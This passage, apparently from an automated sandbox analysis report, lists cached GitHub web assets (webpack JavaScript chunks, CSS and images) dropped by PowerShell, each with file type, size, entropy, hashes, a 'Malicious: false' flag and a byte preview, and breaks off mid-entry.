Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_github_text-expander-element_dist_index_js"],{81028:()=>{let Combobox=class Combobox{constructor(t,i,{tabInsertsSuggestions:n,defaultFirstOption:s,scrollIntoViewOptions:o}={}){this.input=t,this.list=i,this.tabInsertsSuggestions=null==n\|\|n,this.defaultFirstOption=null!=s&&s,this.scrollIntoViewOptions=null!=o?o:{block:"nearest",inline:"nearest"},this.isComposing=!1,i.id\|\|(i.id=`combobox-${Math.random().toString().slice(2,6)}`),this.ctrlBindings=!!navigator.userAgent.match(/Macintosh/),this.keyboardEventHandler=t=>(function(t,i){if(!t.shiftKey&&!t.metaKey&&!t.altKey&&(i.ctrlBindings\|\|!t.ctrlKey)&&!i.isComposing)switch(t.key){case"Enter":e(i.input,i.list)&&t.preventDefault();break;case"Tab":i.tabInsertsSuggestions&&e(i.input,i.list)&&t.preventDefault();break;case"Escape":i.clearSelection();break;case"ArrowDown":i.navigate(1),t.preventDefault();break;case"ArrowUp":i.navigate(-1),t.preventDefault(

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\vendors-node_modules_scroll-anchoring_dist_scroll-anchoring_esm_js-node_modules_stacktrace-pa-a71630-67856ad29bae[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (12557)
Category:	dropped
Size (bytes):	12699
Entropy (8bit):	5.3104514856654665
Encrypted:	false
SSDEEP:	192:2iUSYH/1fR3J6nOMSVZPNGoyGZ82ce/bc895tbsMInVvzgj+IeiG4nT3+h/iq:tv+PuRefto/vzgVeiG4nTOh
MD5:	B984696210A2C3F1453AA68BC3968CFC
SHA1:	CEE0B717B546322023326C967463CB85C1EE3E72
SHA-256:	B1A8EAE7C45252F27BB068D7DB3D9ECC7C493CC746F05523AE86A71C766E7EDA
SHA-512:	67856AD29BAE3587BF500A15AF63375A25B83BB3FD3DEA57DFB135C720E4885014EAFFB6065F991844D8F09B0CB2606266537068CBA0D90C10D3F0B0CE378A7A
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_scroll-anchoring_dist_scroll-anchoring_esm_js-node_modules_stacktrace-pa-a71630"],{95493:(e,t,n)=>{function r(e,t){return i(function(e){if(e.activeElement!==e.body)return e.activeElement;var t=e.querySelectorAll(":hover"),n=t.length;if(n)return t[n-1]}(e),t)}function i(e,t){var n=e;if(!n)return Promise.resolve(t());var r=n.ownerDocument.documentElement,i=function(e){for(var t=[];e;){var n=e.getBoundingClientRect(),r=n.top,i=n.left;t.push({element:e,top:r,left:i}),e=e.parentElement}return t}(n);return Promise.resolve(t()).then(function(e){var t=function(e){for(var t=0;t<e.length;t++){var n=e[t];if(r.contains(n.element))return n}}(i);if(t){n=t.element;var o=t.top,l=t.left,a=n.getBoundingClientRect(),u=a.top,c=a.left;!function(e,t,n){var r=e.ownerDocument,i=r.defaultView;function o(e){return e.offsetParent?{top:e.scrollTop,left:e.scrollLeft}:{top:i.pageYOffset,left:i.pageXOffset}}function l(e){

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\webgl-globe-b8ac95da6496[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	228
Entropy (8bit):	5.268430527896942
Encrypted:	false
SSDEEP:	3:jTqNKEMjNRYbMjNRHMhRNxrmxxBfEwubWOKYbMBxzMeWLqHRBITME+iGKx69cu6Z:oMj+MjYhrETkyxbMqHR+AE7ocsLk7rp
MD5:	E0D6367316147AE5AAD91C75EB1876A7
SHA1:	F269D17EC2620B9826B9A80FDC7C6E2D3C12CDFC
SHA-256:	011F9B56100A5E92312A5CE484C9F7A73335698DF243211B04C42AEC0C815275
SHA-512:	B8AC95DA64960B0CB0CEECDDFDECDB9FE358CDA15BA2139866D669596D7669F38F992916B731B54FB10F221948B0A7739DDFDBA149A8A6EF7E574151D4B72CD4
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["webgl-globe"],{35451:(s,e,b)=>{b(83138)}},s=>{var e=e=>s(s.s=e);s.O(0,["vendors-node_modules_github_webgl-globe_dist_js_main_js"],()=>e(35451)),s.O()}]);

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\app_assets_modules_github_sticky-scroll-into-view_ts-112600808cf9[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (10447)
Category:	dropped
Size (bytes):	10541
Entropy (8bit):	5.142703042351741
Encrypted:	false
SSDEEP:	192:MLjSnjsjOjojOO3JHMtJomUUGZVo3xE+KmLs1HPzMYI9Tiiqn0y3+UYymwDLNpWU:MLejsjOjojOyJstJomUUGZVo3xE+KmLK
MD5:	DF07A1B760A955A9549078FD16F19934
SHA1:	FF64F8BAE2C22502111201422AFB4F64AAC7EBAA
SHA-256:	3CB902578DBCC1D6A3B67AECD7EE7F6DD086A3093655A292F78A8E3C6974212E
SHA-512:	112600808CF97132DB023097B068AFB0B49F7019B4333EC71F7FDB4070D69F6027541EB9437E3091C2910D47DEA3A4BE4A9ABA67DCBCE3D738897E6871592F21
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["app_assets_modules_github_sticky-scroll-into-view_ts"],{40622:(t,e,n)=>{n.d(e,{Sz:()=>f,Z:()=>d,kn:()=>u});var i=n(23149),o=n(97797);let l="ontransitionend"in window;function s(t){return"height"===getComputedStyle(t).transitionProperty}function r(t,e){t.style.transition="none",e(),t.offsetHeight,t.style.transition=""}var a=n(95493);function c(t,e){if(t.classList.toggle("open",e),t.classList.toggle("Details--on",e),e){let e=t.querySelector(".js-details-initial-focus");e&&setTimeout(()=>{e.focus()},0)}for(let n of[...t.querySelectorAll(".js-details-target")].filter(e=>e.closest(".js-details-container")===t))n.setAttribute("aria-expanded",e.toString()),n.hasAttribute("data-aria-label-open")&&n.hasAttribute("data-aria-label-closed")&&n.setAttribute("aria-label",e?n.getAttribute("data-aria-label-open"):n.getAttribute("data-aria-label-closed"))}function u(t,e){let n=t.getAttribute("data-details-container")\|\|".js-detai

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\bg-glow-blue-036b8dc2d1ce[1].png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1025
Entropy (8bit):	7.736517939733355
Encrypted:	false
SSDEEP:	24:b/6YewC4VBNBVQIV1gsQIZ6caSG0gCe0DcfaA9DGTzqpjGz3l7:b/6YewCcBaK1blgp0ofJOmpqz3l7
MD5:	92BA828195A72E957723105079BE926F
SHA1:	06778426BCA4CE1AB039611889A3E11EBF611757
SHA-256:	00946C94F63D86ADA58B456755A6407B9AA3702C5B6E452570E49ED436924DFE
SHA-512:	A9DFB9CA2400CD794F71C534B6D9AAEACFE0CCBE98E18C60DEF59DA9F1BE5B021411D02660425FC0C2E01F964C780A778CD24733DC19BD7BF70ECB6105E11DE3
Malicious:	false
Preview:	.PNG........IHDR................a....pHYs................eiCCPDisplay P3..x.u..K.P..O.R.:....2.C...vqh+.E0T..S.~.m\|$)Rq.W)..X.Yp..Tpqp.D...:).hx.T."....8.s.\..P.+..(.L....{...S.f...,.........O.YM.v..O\....v..S..]......A.......m...%.1h).......;..d...X..j..I,.;.\|...e......W....Q.a.&..PQ.......?.-rW`P...,.DI......a.2q.A.s.~....mm...mp./..B.8......x....n.L5TG...r...0....(.a..!w{...{..c....v..#......+...!.6...BIDATx...;r.A...y..........&..p@H.....cp.\|...S.....(....v.....+...l.l..t...c......2..-y..F....GG....k....5..........a8....`<.zw.u..Vs..DnMj...+s............1.X.F..hm@g...,].Ij..J.B..G.....p.2.5.!...&S.L.../.EG..Q,K...Y.n...>.#...J.%6.+F}.4..-.."w.P.6lYG7.x,.c.:..~..3l...S...0x .zU..\|...M.'..4...:.=H......R........-e....5.i.>.@IH4^....$.J(...{...$....}].....8WP.g.53..L.zXra6...1v..4k@.....Bz..%.+..P.sc8S.S.9...pY.........B3....&,.s%.."...[)a.(%..bv...Mqo^.0I.uX.....o).Ms...+b.O.._pV. sO(vN..(.D..}\|Q.f.)jq.Z..gR.......Qt....F..F.6\_.eX.y

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\chaynhq-4c5953025dca[1].png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 192 x 192, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	7764
Entropy (8bit):	7.9653134583187075
Encrypted:	false
SSDEEP:	192:q00kyUIBkO09K3QKfAv7fSKLq1Jksrhp85bZ8U5tIPVZcqAxOmShk+:qTky4oQKcFLWJhQ5OUOcqAxOmIH
MD5:	71CECE6F9EF6C01221FADA68DCCB6B4F
SHA1:	9FAD33ABD6F0971F8E26439C550E12CAE8561769
SHA-256:	C63849DD4E04CE7389BEC59BDFF82A65FB1F67BE4BFA5C845DE45FC994268191
SHA-512:	56AAF23945DD2067A3F7B248647556439F0EEB55F1A7A528E3E807B66E23A1ED38E8D5646FC62B3F47DA98672ED535075D96BFA94E2F3592FA91A43D9DAC9264
Malicious:	false
Preview:	.PNG........IHDR.............R.l.....IDATx..]{tSU...%i....9I.jr..$}'...R .Pz.....s]......."..UY^G..TR\|..q.......q(*R...<....KfF....[..$=9......m.~.~...=..,C._.&-.6..jSh..73B..E..=."...R.....F..?.....>.P.DI.}......oE........:.6U..&.%E9....N.....U..!.+.I....>.u5.oJ..D]...{.k.".".6M.kLvL.,..?M}.B..v.m..(Iw.....q..R.r..S.w.K\.V...".x.u....>)...O...5....a..w.K/)Wfi....:.5.EI....?8!.F........Z.F...;\..\....{..(I.'y..........h...2..!u.i.....$}F...._.....0R.v.....+..8.spg....-j..#G.f.ez..n..=....^.m.....:.(.....e.....&.v-..f .0F.p.99...Q.r.a.&.x.y;Qz{n.....$.t...9....a_X.}.../.yA..)./.4~....4M&F".R...u........;B...SUJ.L..9.....Oh.e.k.6..#4I2W...M..b...X..vk..ij#...,.y..$.O.2...n....C.....Q.....t...%Fq.2Mm.w.C.0..{.'Q..Ft..!..@...@....Z.._...@....A#M]..\..>..?x;.$`.H6...."p.Fz....?c..C.[.o.Pf.1.....F.FY..l.j..`.L..4..0.h...$..J...&...?...a.w.@JJ.(..^:<-.^...J./.j.<+W,...J..Q..M....Vf.em!....+......&...e.w....~..).p..E..7....,...Q<Cna....$..m...n!:..Q

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\footer-diamond-ed642fc95144[1].png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 142 x 142, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3987
Entropy (8bit):	7.930016204401152
Encrypted:	false
SSDEEP:	96:7ktapJ7HkuIDQS7scICqRm9pKgI0hA/CVpRPJ:7ktazEwmsNLMfJPJ
MD5:	8C7949F4241873CDCC4B687276BD4282
SHA1:	C8150CCDFC6E97C51D0EC149426B5FB76DBFDE03
SHA-256:	13C07465F8C97F6FB78246F802725562E662AC0861E02755071666E86FF9C849
SHA-512:	01A544AB31C71EC22F8F086034E9204E077646A0CD6BF6AE9BD3822E6D22890BBA7120662FC5E1FA9936DB25FE304CE3F4D4B5DB11AE05DF4E8AC2E4BB4681A4
Malicious:	false
Preview:	.PNG........IHDR..............#.:....PLTE..........\.....................}.................................s.........uz......c...............`..............zn...\|G.U`....&d.~q...p5].R_....`a.Q.V.cA.zL.pG.....Z.[>..O.....^.iC.uJ.r..g.x.l.....;..c...W..2........~....Y..D...S>...PI>.??.G4.5A..Q...$..........]S8..f...."I.:3.........x..k..K....o...a-F....(:..].lD....J1..x.......W8.......4$.29itL............y>Cu......C-....dA.'-`]T.]<..........3+.E..,V..7e.#]zY.<R.7'."..#....p.!W..V.o.').!$.....nQ5....9....ty..!.U[.KR~.d.mP....XZ.!....`..YMK.6&.!..0.\|+z.Li..hzh.x.z..0...l..9l]...jr.`i.N..({....-.{\|.f.....~...J..K...g..a%'J.R..B..j.DG.=..}..`m.ql..e...NW..lk.GF.77..e.fh...m.o...SA.\X..X.....3...~<.{...wd.fQ.A4.a.a..P..m...[u..s~..?p.+.t.v....7tRNS. ....e...a @..@...SN.0 ..`.......s...h.....P....(.n.....IDATx...kL.q...SN!.)..mn...<3f.a..-..#..4...v..M[..E...+i#....\.E..KE.........s..y....k....:'..g4......*wW.#e..dp.&.28R..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\footer-orb-a0438104a7a2[1].png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 208 x 196, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	9318
Entropy (8bit):	7.869833659024349
Encrypted:	false
SSDEEP:	192:zLcDseWIMen7xfPkQarzAbsW1mX4QKLTtGIva4zWvqZo:zgDseWLwfPiasW1u46Ii4zWvqZo
MD5:	96BB7B0F54A9472333EA8EA2CA6BE829
SHA1:	CF841CFDFADC9AF4A39B1B0E6D8C7F06C8205F17
SHA-256:	36038DDDDD3D139C4DA1FB8FC2B6B89AE59266358D4F025BF7F13D756ADCD0A8
SHA-512:	B6BD98566298901183728D018297C221A2691CD150559FFD32D74D71EBDC3AF221751D45EBFAC6C19A7E61BD943D010D7249E4F76489D2FD35A6B4AAE2A8A793
Malicious:	false
Preview:	.PNG........IHDR..............=_.....PLTE....4..=..@..8..:..B..3....6..G..F..J......L....V..O..R.............C.......[..b........t...._.._..f.....X....9..U..4..[....n..=..X......x..X........g..k....S....r..n............}..Q...........\|...........i....e........I.....y..H......t..o..K...........`..D.........................9......6.....I..F..:....B.....>.......C..............................>......................_.............=..D..........u..b.............B..........?........A.....{..Z..?.........V..o..............F..v...........>..P.....j..h..H..u..U..y....A.....S..`..J....V..S........l..k......[..O..g..N............Z....b..w..g....~..........v..a............v..`............................................................1..h....tRNS.........................................................................~..........$.........>.......\|..z..}y0.t.L.o_.6.v( ..Z..hc4.p.uj$..R0pj+..c$...\|ME.<.]H,XV.8R.D.(..9...z6,.@.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\git-branch-productivity-c304b83d09c7[1].svg

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3106
Entropy (8bit):	5.188371892891879
Encrypted:	false
SSDEEP:	48:ZdvsCyCbL4zFVHOzDYb5wcYbWwpYbGwXYb5fKMJ5HXkwCwq2wBwV1:Z9IHFVZ2vheZodKYj
MD5:	3B88D1108E1E3E0C3F12F3757953ECB5
SHA1:	7C0D2FD9E9142C2E3348CCB48F300C2536C087A8
SHA-256:	EE7056D4094A35C9AD0EF227891D0DC38C3C9A2084C77FD1785B5367849AB8A8
SHA-512:	C304B83D09C78359936D51B2A54952831A3612522B821B06DF9FB23C24CD16EFFF305003353B34D07547F7B7700ECF0F346108FC126B240C9199EB599CE69865
Malicious:	false
Preview:	<svg width="87" height="485" viewBox="0 0 87 485" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M2.00026 0L2.00014 33.5188C2.00005 61.0048 12.3542 87.4821 31.0001 107.676V107.676C49.6458 127.871 60 154.348 60 181.834V301.665C60 329.451 49.6629 356.243 31.0001 376.829V376.829C12.3373 397.414 2.00022 424.207 2.00016 451.993L2.00009 485" stroke="url(#paint0_linear_120_10499)" stroke-width="3"/>.<g filter="url(#filter0_dddd_120_10499)">.<circle r="6.43806" transform="matrix(1 0 0 -1 60.4381 242.562)" fill="black"/>.<circle r="4.93806" transform="matrix(1 0 0 -1 60.4381 242.562)" stroke="white" stroke-width="3"/>.</g>.<defs>.<filter id="filter0_dddd_120_10499" x="34" y="216.124" width="52.876" height="52.8762" filterUnits="userSpaceOnUse" color-interpolation-filters="sRGB">.<feFlood flood-opacity="0" result="BackgroundImageFix"/>.<feColorMatrix in="SourceAlpha" type="matrix" values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0" result="hardAlpha"/>.<feOffset/>.<feGaussianBlur stdDev

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\globe-d6f3f4ee645a[1].jpg

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1238x1404, components 3
Category:	dropped
Size (bytes):	121231
Entropy (8bit):	7.96069054577737
Encrypted:	false
SSDEEP:	3072:szu/991fajyj8/XT3yo0n1qqctCQGXElZC5b1RD5ILq:J/991fad/XT3gqqYkElOW+
MD5:	6AD730220473B2C8640EAF3EE6036DBE
SHA1:	610AC49FF8D4F246451267818AE5C62B61057916
SHA-256:	8C632E20B5BDAEAD298CBC474DA5F20FFCED106378A91F2F4BF367504925D7F8
SHA-512:	87A77E377B791E5B540B1A3E23D4D56F804B5BB0287D938613F452CD768E6AAC3A83D4A53FDC36E42961E3A1502304B0BF5BD0EFD6986ADB63CA044BD2511716
Malicious:	false
Preview:	......JFIF...........................................0.#..#.03)')3L;55;LWIEIWj__j...................................0.#..#.03)')3L;55;LWIEIWj__j............\|...."...............................................d..........^..y..................o.L..5H'.}o...................,..?2.=.{.s............................................w\|.......................W...........................P..}./...................\|p.............................~.. ...............>...+...k...................W.x.......8.................~ ....q...................n...............................................}.......m..\...............AW......o.......................7..6..............=......>........................{.x...............C..@....}...............>..9........`.............:........G.\|.................<......g..............>..}N.P%......>.P...>..#..................$.n.4O....g.\|......;.*...................yZ.\>....#..).g.\|...../............@.........'.\|._...fh.q....x.5A..../. ...3I..1.. .}o.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\home-339181319b7e[1].css

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (9947)
Category:	dropped
Size (bytes):	10035
Entropy (8bit):	5.090288523022622
Encrypted:	false
SSDEEP:	48:gv+sv+TKsZ+C7jMH3Z2wekmeNifNriHSwjks3LKRlaBsd1BATlwQSE:gv+sv+es17W/eBIHSwjko+dXAWQSE
MD5:	629F7254AA76CF7CE839A22AA9D4C633
SHA1:	C6276E638E4D7BD64DB876B2621BC705916BADDF
SHA-256:	246F5AF008EA9FF1F2C9AFEE9DAE9A3031831006A1625EF817F40264311BBF96
SHA-512:	339181319B7E63C61DE07C56641CB89B8D66D8BD908CB7F317F3DA2B547A52DA9A3B3756984696C67760701F7FD6E69A479B360346BDA25F13E88B87FFF86766
Malicious:	false
Preview:	[data-color-mode=light][data-light-theme=dark],[data-color-mode=dark][data-dark-theme=dark]{--color-mktg-btn-shadow-outline:rgba(255, 255, 255, 0.25) 0 0 0 1px inset;--color-mktg-btn-bg:#f6f8fa;--color-mktg-btn-shadow-focus:rgba(255, 255, 255, 0.25) 0 0 0 4px;--color-mktg-btn-shadow-hover:0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted:white 0 0 0 2px inset}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{--color-mktg-btn-shadow-outline:rgba(255, 255, 255, 0.25) 0 0 0 1px inset;--color-mktg-btn-bg:#f6f8fa;--color-mktg-btn-shadow-focus:rgba(255, 255, 255, 0.25) 0 0 0 4px;--color-mktg-btn-shadow-hover:0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\illu-codespaces-1d2d17e8b2b7[1].png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 1208 x 890, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	86803
Entropy (8bit):	7.972504997549201
Encrypted:	false
SSDEEP:	1536:pQgfVL293hdKvk17sgSGZ+q7ZCym/qf1e8rl7Y2rkZ9lfUz712iXJMGH0r:pQnFhdKv0AGxtfmirg9pUv1/5MG2
MD5:	8D3329613F6ED3220E71EBDE11C6A3E6
SHA1:	D006D9086088C6C01D5765D22F99AEED07DD1F3C
SHA-256:	BF1E966F51A46CD740AA2DEAFB77212E164CCA379550CFFA26562CEB04C087DB
SHA-512:	2457BF554B666FC4DE3B69476BF6C439F8FDCEBF209872ADE0ACCC3BF3C5BA82F53743B78BE690111401521658009484FE764F385AB94F161CACE2E1574A32E4
Malicious:	false
Preview:	.PNG........IHDR.......z........U....PLTE.....................-49,49.4:9@H/4;:BJ #)...).5-29.. 39@9?G'+1"&+..#.."..)&(-..E..&.(_..-..: )c..1!+h;CK..6..=.!N.$V..A:<.,6..&[48.3\|59.#.l0-08;.13.?@.)2x25...J29.8;..1.'1t),pK\. #X%0p&)h/7.."S...FV.,/z+-u#%^8<A.f}<?.%(d. N@B...2;=.BDG(l.)0BF.Yr.AD..!S..)BI....Sl.Nd...HFJP .7...LPUBE.DM.>6. 3>.\|h.`u>D.@77@9.}]RTVZ723H<;A;.BK.lRJ]y.=3.DO..BOER.cV.;FQB>7>.....m];B..vc.hYb....0.[nCJ.FM.@D.sWM_beKT]Z\_4<..yeTe.JR..ra..jegj....Ugnqs..?;1....f..]g.z\|~dMGk..S\.Ua..O_CG....jln..l:..YFBOW.p..+8I...vxz.HW...IR.JQ....FK.\|..fm.LZ.31{at. .9...rtvLT.P\..._\.Yh...m../BX......mx.^JDBs.Vf.oc.;[w{..VS.K..PK.4OiID.G~.....+r\|o.?f.y..h4b..._t.!0.p....?t%4.$+D):.4.?M)P.....-?..H..N.6H.E@.1C.Ww.bR.......~.~..g.f...U.98m._..\|...n...r...]..q.....^....gX.xK.......Pc...J....tRNS..$.......`...d(..O.IDATx.............................`v. .A.......G..V..Mv....I.XF`Y.eY.eY...w....g.!.0..(^...i&.m<...o.Y..R..Q~.....7...3D..S-...q........0...x......N...N....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\illu-ghas-list-84af1f1ce2b8[1].png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 1080 x 600, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	30587
Entropy (8bit):	7.963320292676975
Encrypted:	false
SSDEEP:	768:9z3BFccccxd6ih3uc1jsHpQXmeTtHBkHHhCufMUQEtdQV:ZBFf1gKXVdIffMUQEbQV
MD5:	895C81FCEE20EAE8BEFA14B863101C03
SHA1:	DC80EA934584F661398DF7D6F40D9661C4232E95
SHA-256:	17485B2E15CD5A5BE961042F91580D51FA535BFD00FF6878EAA26EA8F72BE641
SHA-512:	4996114B98DB110C2377F0C9F6578E66033A6832111D4B30EC774FF1CE5CA7076F0C91198E3C6D1214050A9C674CE1682117C62C9C49B575806C42A8AA644A2A
Malicious:	false
Preview:	.PNG........IHDR...8...X.........../PLTE#)0,3<...U`kBLW...07?)075>Fs..<DM.DBBKUOYd4;C.d.%,4HR\R\g...gr\|...DMV...?HR9AJx..IS]KV`NYd...EOXLV`2:C.B@...Zeq.G(0,0^hro{.n~..9:ix.?-3....CB.N#FQ\...ao\|R9,...jy..V....:1/o{.Y25.]..??.a.t69.].kw.^it(.6.;<i@=GQ...{~..<=`myuD(t67L04.K%.79.......<=G4-....@@.R!...g47s...Z............==...S]h.=?^=+g37...p..d..v.IDATx...!.. ..1._...Pg..;...8.q.C.@O..8.!..'.@....... .`......0..........z.....q.=q....8..8.q.C.@O..].Ym...0#..Z..D.l...t. -._.C.rj.PL\..}.g..j.].....e.....ur.... q...A. ...!q..A. ."..A...C. ...A.D..Cl.]). ....!...1T.....y..8x.W....@..M3J......\|..`.\zkt[!....5..q....,".9..u......v."....Y...).o/..x....1.(My..$...D.$L.9..`...5Kh.X.0.t.X.HH9..QK..A..F...........#.G.b.!..$..8\|S....t:.."DY..q..RN...M....I......M..Q...m........+...">..'8......ql..HUC..&....f2S.`X6.cb.C...6..K. .....Y\|.p...K.....X0..,..1.F..,uh..;......F..p..d(.....$.?..5..j.!q...Yq\|..#,9...B?l.*8-...+.v..E...5F.....\V........p..^..A...<..L..T.x.L.b.3..@.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\illu-projects-2-26077f1dd188[1].png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 1190 x 964, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	39261
Entropy (8bit):	7.950510600709838
Encrypted:	false
SSDEEP:	768:de6n4zIiYlglc/V00XXgxob9ieQ8LuVCHj18OwS6GQv4y+hKA:a9i1XgEQaLH1yS6pw7KA
MD5:	29A109B7D2AD86AF9A63BC340272AF57
SHA1:	4E5B617836521BD3E26BA48A29991260AB769DA5
SHA-256:	2F94EA7D42C00F06C1A7C61532AEB01B204134D703661B2710E732D0A7FE0812
SHA-512:	371B52C5A46D982EF86E1328D0F496C44082DF835DDB939228710EA1BCBC6BE652768BDB40F961A7F97C1D2FAE4DF7DA7B165C61DA606A92CE502CC2895C1699
Malicious:	false
Preview:	.PNG........IHDR..............[......PLTE/6>#)0,3<U`k...BKT..4s.....7@I3;CLV`ix.V`i..._myUam...n~.KVax..'.6R]iDMVP[ggr\|FP[IS^+19<DM.....5=G...ds.<FO^is}.....cho......?HRIOV...OYc;BJ[gsFMV....a...MV`Yeq07A.....C...............o{...:.....dq~............o{.....T=kv......,.....FOY......v..s..;$ !....V\c.....6....T...J-'S62...i..pu{q......\.?)'....;....#!Fj).l.....B^-Ac@;...R...M.......i<...............C...z;\|..{..XD.b..R'5"6K......s..A>a1%............@4S....i..O.D-9I.)..6...m%E.C4..!....u.8[..E.c.NLMlWAD..%Z.&?WwB,...zU..x.....\|.[..eK.m.{}.......c.}..oz...l`.oDk.....3.)7...\.m...t'...Z.=TkADUU....... 42.....[..7.....r5T.iE....m.....IzS;j..]YuZWK.........j...]JZ.W0...P~.?_wLm...?...I.y...Q.A.i..Bl........T8.T7....dT......A}.$g..Q........JZY.Q....!O...;R....sw.....IDATx....j.P....$....C.".P.K...Y....=.....G.-R....}...w./9.......................................................,w.....1\..:.X.>..m.d..j......w.eYq.vi,..\|j.I...q..w.m.,.b..B.`

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\marketing-872ff8663359[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (19575)
Category:	dropped
Size (bytes):	19626
Entropy (8bit):	5.222783703158943
Encrypted:	false
SSDEEP:	384:G3iEi+M+OCrrQ2zHmvAR/VRBxVdSYzOh/1RnnXEktWAqqGi/i6mQc9mi0pSFl0OL:GybRpItzHmg/VNVdSs8LVqma6mQcbWS9
MD5:	9F2A85466C5F6B391DBCEE22A078AAF9
SHA1:	3D08430A5310CCAED69B76329A6B21FCC73A3A6D
SHA-256:	AD80D8AFDC13AE97DBF72CA7BA2874F2497B3B1E8BC93490A36E628C6A11BE6F
SHA-512:	872FF86633594F46E3447F8E67C6C9661B497873AC4719021A68090E1BB0AF7F417022F0F8581E1C763D371E683CF4A6D4F80CD0A89C12032DFBB083C1B54B31
Malicious:	false
Preview:	(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["marketing"],{65921:(e,t,i)=>{"use strict";i(20949);var s=i(876),r=i(21403),n=i(97797);let a="row-is-visible";(0,r.lB)(".js-type-in, .js-type-in-item",e=>{(0,s.Gz)(e)\|\|d(e)});let l=new IntersectionObserver(o,{rootMargin:`-${s.FF}% 0% -${s.fY}% 0%`,threshold:s.Lr});function o(e){for(let t of e)if(t.isIntersecting?u(t.target):d(t.target),t.target.classList.contains("js-type-in-trigger"))for(let e of t.target.querySelectorAll(".js-type-in-item, .js-build-number"))t.isIntersecting?u(e):d(e)}function d(e){if(e.classList.contains("js-type-in")\|\|e.classList.contains("js-type-in-trigger")){for(let t of e.querySelectorAll(".js-type-row, .js-type-letters"))t.classList.contains("js-type-letters")&&t.children.length>0?function(e){for(let t of e.childNodes)if("#text"===t.nodeName){let e=document.createElement("span");e.textContent=t.textContent,t.replaceWith(e)}for(let t of e.querySelectorAll("*"))t.classList.add("js-type-letters"),t.styl

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\pg-f1f19955c4e4[1].svg

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	2848
Entropy (8bit):	4.015796004666782
Encrypted:	false
SSDEEP:	48:tlOc58XfhVwaIo8/YQnAHExjIBGeIAP8A1p/NPqfPEcw3dXwzt4:yPbwa/NmIBxIAb1h5sw3Nwzt4
MD5:	3A33B410CF9926666FBA4E7069B40374
SHA1:	8B200B5853C74B624949571124C6A602B3CA36F3
